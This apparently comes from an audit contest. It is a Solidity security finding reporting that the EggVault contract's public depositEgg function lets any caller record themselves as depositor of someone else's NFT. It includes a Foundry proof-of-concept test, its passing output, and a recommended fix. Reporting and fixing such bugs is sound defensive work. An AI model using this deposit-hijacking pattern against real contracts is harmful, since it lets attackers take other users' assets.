Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Spoofed Depositor via depositEgg()

Summary

The EggVault contract allows arbitrary users to register themselves as depositors of NFTs by calling the public depositEgg(uint256 tokenId, address depositor) function. Since this function does not enforce that the depositor is the actual sender of the NFT, it is vulnerable to spoofing and front-running.

Vulnerability Details

The vault assumes that whoever calls depositEgg() is the legitimate depositor. In practice, anyone can call this function and register any address as the depositor, even after someone else has already transferred the NFT to the vault. This breaks the trust model of deposit and ownership.

Impact

  • Anyone can register themselves as depositor and steal NFTs deposited by others.

  • Legitimate owners lose the ability to withdraw their assets.

  • Causes permanent asset loss and trust violations in the vault contract.

PoC

function testSpoofedDepositorExploit() public {
// Mint an egg by simulating a call from the game contract.
vm.prank(address(game));
bool success = nft.mintEgg(alice, 1);
assertTrue(success);
// Check that token 1 is owned by alice.
assertEq(nft.ownerOf(1), alice);
// Verify that the totalSupply counter increments.
assertEq(nft.totalSupply(), 1);
//Transger egg to vault
vm.prank(alice);
nft.approve(address(vault), 1);
vm.prank(alice);
nft.transferFrom(address(alice), address(vault), 1);
// Deposit the egg into the vault.
vm.prank(bob);
vault.depositEgg(1, bob);
// The egg should now be marked as deposited.
assertTrue(vault.isEggDeposited(1));
// The depositor recorded should be alice, but the vault allows for anyone to input depositor
assertEq(vault.eggDepositors(1), bob);
// Depositing the same egg again should revert.
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(1, alice);
}
Ran 1 test for test/EggHuntGameTest.t.sol:EggGameTest
[PASS] testSpoofedDepositorExploit() (gas: 176345)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.60ms (896.43µs CPU time)

Tools Used

  • Manual review

  • Foundry test suite

  • Custom exploit test using vm.prank() and frontrunning simulation

Recommendations

  • Remove the depositEgg() function.

  • Implement the IERC721Receiver interface in the vault.

  • Register depositor inside onERC721Received using the from parameter.

- function depositEgg(uint256 tokenId, address depositor) public {
- require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
- require(!storedEggs[tokenId], "Egg already deposited");
- storedEggs[tokenId] = true;
- eggDepositors[tokenId] = depositor;
- emit EggDeposited(depositor, tokenId);
- }
+ function onERC721Received(
+ address operator,
+ address from,
+ uint256 tokenId,
+ bytes calldata data
+ ) external override returns (bytes4) {
+ require(msg.sender == address(eggNFT), "Not from expected NFT");
+ require(!storedEggs[tokenId], "Egg already deposited");
+
+ storedEggs[tokenId] = true;
+ eggDepositors[tokenId] = from;
+
+ emit EggDeposited(from, tokenId);
+
+ return this.onERC721Received.selector;
+ }

Then, users can deposit their NFTs securely via the EggHuntGame Function depositEggToVault:

eggNFT.safeTransferFrom(msg.sender, address(vault), tokenId);
Updates

Lead Judging Commences

m3dython Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.